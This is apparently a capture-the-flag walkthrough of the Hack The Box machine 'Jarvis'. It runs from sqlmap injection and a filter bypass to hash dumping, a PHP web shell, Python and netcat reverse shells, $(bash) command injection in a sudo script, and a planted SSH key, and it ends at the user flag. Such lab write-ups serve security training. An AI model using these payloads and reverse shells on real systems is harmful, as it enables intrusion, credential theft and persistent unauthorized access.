Today we are going to solve another CTF challenge “Jarvis” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Medium
Task: find user.txt and root.txt file on victim’s machine.
C:\PENTEST>nmap -sC -sV 10.10.10.143 Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 14:54 W. Europe Standard Time Nmap scan report for 10.10.10.143 Host is up (0.026s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Stark Hotel Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.30 seconds
We got ssh
on port 22 and http
on port 80. Let’s take a look at the web service.
Web Enumeration
By visiting http://jarvis.htb/
we get a website for a hotel called Stark Hotel:
I ran gobuster
to check for any sub directories and the only interesting thing I found was /phpmyadmin
:
root@kali:~/Desktop/HTB/boxes/jarvis# gobuster -u http://jarvis.htb/ -w /usr/share/wordlists/dirb/common.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://jarvis.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/08 17:38:59 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
=====================================================
2019/11/08 17:40:39 Finished
=====================================================
http://jarvis.htb/phpmyadmin
phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. –phpmyadmin.net
That can be useful later if we could find the credentials, but for now let’s concentrate on the web application.
SQLi in room.php
Back to the “Rooms & Suites” section in the main page, clicking on any of these rooms requests /room.php
with a parameter called cod
that holds the room number:
I tried replacing the number with a single quote '
and I got a weird response:
So I ran sqlmap
but I got a 404 response:
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1
___
__H__
___ ___[(]_____ ___ ___ {1.3.4#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:43:03 /2019-11-08/
[17:43:03] [INFO] testing connection to the target URL
[17:43:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:43:04] [INFO] testing if the target URL content is stable
[17:43:05] [INFO] heuristics detected web page charset 'ascii'
[17:43:05] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk
results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[17:43:13] [INFO] searching for dynamic content
[17:43:13] [CRITICAL] page not found (404)
[17:43:13] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[*] ending @ 17:43:13 /2019-11-08/
I checked the page again and saw a message indicating that I got banned for 90 seconds:
I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent
option and used Firefox user-agent, that was enough to bypass the filter:
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
___
__H__
___ ___[(]_____ ___ ___ {1.3.4#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:15:42 /2019-11-08/
[22:15:42] [INFO] testing connection to the target URL
[22:15:43] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:15:43] [INFO] testing if the target URL content is stable
[22:15:44] [INFO] target URL content is stable
[22:15:44] [INFO] testing if GET parameter 'cod' is dynamic
[22:15:45] [INFO] GET parameter 'cod' appears to be dynamic
[22:15:46] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable
[22:15:46] [INFO] testing for SQL injection on GET parameter 'cod'
[22:15:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:15:48] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of")
[22:15:52] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[22:15:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:15:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[22:15:57] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:15:57] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[22:15:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:15:58] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:15:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:15:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:16:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:16:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:16:00] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:16:00] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:16:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:16:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:16:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[22:16:02] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[22:16:03] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[22:16:03] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[22:16:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[22:16:06] [INFO] testing 'MySQL inline queries'
[22:16:06] [INFO] testing 'PostgreSQL inline queries'
[22:16:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:16:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[22:16:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:16:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[22:16:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[22:16:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[22:16:22] [INFO] GET parameter 'cod' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
[22:16:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:16:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:16:22] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection tech
nique test
[22:16:23] [INFO] target URL appears to have 7 columns in query
[22:16:28] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:16:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:16:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'
[*] ending @ 22:16:33 /2019-11-08/
root@kali:~/Desktop/HTB/boxes/jarvis#
RCE –> Shell as www-data
I could get RCE in 2 different ways.
First way:
By using the os-shell
option in sqlmap
:
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --os-shell
___
__H__
___ ___[,]_____ ___ ___ {1.3.4#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:23:10 /2019-11-08/
[22:23:10] [INFO] resuming back-end DBMS 'mysql'
[22:23:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:23:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:23:11] [INFO] going to use a web backdoor for command prompt
[22:23:11] [INFO] fingerprinting the back-end DBMS operating system
[22:23:11] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[22:23:13] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /var/www/html
[22:23:40] [INFO] retrieved web server absolute paths: '/images/'
[22:23:40] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[22:23:42] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuujaq.php
[22:23:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbtwbt.php
[22:23:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] a
command standard output: 'www-data'
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell>
From here we can simply execute a reverse shell command and get a shell.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.82",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Second way:
I used the --passwords
option to dump the users’ password hashes:
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --passwords
___
__H__
___ ___[,]_____ ___ ___ {1.3.4#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:17:45 /2019-11-08/
[22:17:46] [INFO] resuming back-end DBMS 'mysql'
[22:17:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:17:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:17:46] [INFO] fetching database users password hashes
[22:17:46] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:17:53] [INFO] writing hashes to a temporary file '/tmp/sqlmapbAZ4vg2489/sqlmaphashes-KkbVkR.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] DBadmin [1]:
password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
[22:17:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'
[*] ending @ 22:17:55 /2019-11-08/
root@kali:~/Desktop/HTB/boxes/jarvis#
I got the password hash for DBadmin
, I cracked it with crackstation:
Then I tried these credentials (DBadmin : imissyou
) with phpmyadmin
and I got in:
From the SQL
console we can write a web shell:
SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/sh3ll.php"
I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a reverse shell, I had to url
-encode it first:
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff
Now we have a shell as www-data
:
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:57400.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@jarvis:/var/www/html$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337
www-data@jarvis:/var/www/html$ export TERM=screen
www-data@jarvis:/var/www/html$
Command Injection in simpler.py –> Shell as pepper –> User Flag
I checked the home directory and there was a user called pepper
, I couldn’t read the user flag as www-data
:
www-data@jarvis:/var/www/html$ cd /home/
www-data@jarvis:/home$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Mar 2 2019 .
drwxr-xr-x 23 root root 4096 Mar 3 2019 ..
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 pepper
www-data@jarvis:/home$ cd pepper/
www-data@jarvis:/home/pepper$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
www-data@jarvis:/home/pepper$ cat user.txt
cat: user.txt: Permission denied
www-data@jarvis:/home/pepper$
By running sudo -l
I saw that I can run /var/www/Admin-Utilities/simpler.py
as pepper
without a password:
www-data@jarvis:/home/pepper$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/home/pepper$
www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
www-data@jarvis:/home/pepper$
Let’s take a look at that script:
www-data@jarvis:/home/pepper$ cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
www-data@jarvis:/home/pepper$
The most interesting function in this script is exec_ping
:
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
It takes our input (it assumes that it’s an ip) and executes ping
on it, to prevent command injection it checks for these characters:
& ; - ` || |
However, It doesn’t check for the dollar sign ($
), the dollar sign can be used to execute commands like this: $(command)
So for example if we do ping -c 1 $(echo 127.0.0.1)
, echo 127.0.0.1
will be executed first then the ping
command will be executed:
root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1)
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms
root@kali:~/Desktop/HTB/boxes/jarvis#
ping -c 1 $(whoami)
will result in an error message because it will try to ping root
which is not a valid hostname:
root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(whoami)
ping: unknown host root
root@kali:~/Desktop/HTB/boxes/jarvis#
So we can simply do $(bash)
and we’ll get a shell:
www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
Enter an IP: $(bash)
pepper@jarvis:~$
When I ran commands I didn’t get any output:
pepper@jarvis:~$ id
pepper@jarvis:~$ cat user.txt
pepper@jarvis:~$ ls -la
pepper@jarvis:~$ nc 10.10.14.12 1338 -e /bin/bash
nc 10.10.14.12 443 -e /bin/bash
So I executed a reverse shell command (I used the same payload I used before) and got a reverse shell as pepper
:
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:40124.
$ python -c "import pty;pty.spawn('/bin/bash')"
pepper@jarvis:~$ ^Z
[1]+ Stopped nc -lvnp 1338
root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338
pepper@jarvis:~$ export TERM=screen
pepper@jarvis:~$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
pepper@jarvis:~$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
pepper@jarvis:~$
We owned user.
For Easier SSH access next time
pepper@jarvis:~$ mkdir .ssh mkdir .ssh pepper@jarvis:~$ chmod 700 .ssh chmod 700 .ssh pepper@jarvis:~$ cd .ssh cd .ssh pepper@jarvis:~/.ssh$ touch authorized_keys touch authorized_keys pepper@jarvis:~/.ssh$ chmod 600 authorized_keys chmod 600 authorized_keys pepper@jarvis:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0+5LQji/cUojuN22MGzaN7NQskxauMcA5i+raeKkg2XT5lPGlXv6QuOmidrHorwWJYIYSq7RtL8HB6OODI31yvbcheE/LvW3kIZUeh19N81MQZbLeNhhVGALWSFdGW8YQY+DHESIl4UsqtTTUC7d3Ov0aPXUb+SOq0z3OOwGTK0LNBtD7e1SmdIS8Yb0gMt85DMBWx9uh68DzZipCOhYo4OrikCgFz4YwuERn71N5e7+DLV9TpLA7Y9lgUzYXSXrakDCzk4c0GPSjGKGyj2fHVmFsl5ZGDYqMIN8G/WqkOAgOItGqo0jz6tKzSII7ragaNiUdzenO7CZfTApVjlkT " > authorized_keys <tKzSII7ragaNiUdzenO7CZfTApVjlkT " > authorized_keys pepper@jarvis:~/.ssh$ cat authorized_keys cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0+5LQji/cUojuN22MGzaN7NQskxauMcA5i+raeKkg2XT5lPGlXv6QuOmidrHorwWJYIYSq7RtL8HB6OODI31yvbcheE/LvW3kIZUeh19N81MQZbLeNhhVGALWSFdGW8YQY+DHESIl4UsqtTTUC7d3Ov0aPXUb+SOq0z3OOwGTK0LNBtD7e1SmdIS8Yb0gMt85DMBWx9uh68DzZipCOhYo4OrikCgFz4YwuERn71N5e7+DLV9TpLA7Y9lgUzYXSXrakDCzk4c0GPSjGKGyj2fHVmFsl5ZGDYqMIN8G/WqkOAgOItGqo0jz6tKzSII7ragaNiUdzenO7CZfTApVjlkT pepper@jarvis:~/.ssh$
.
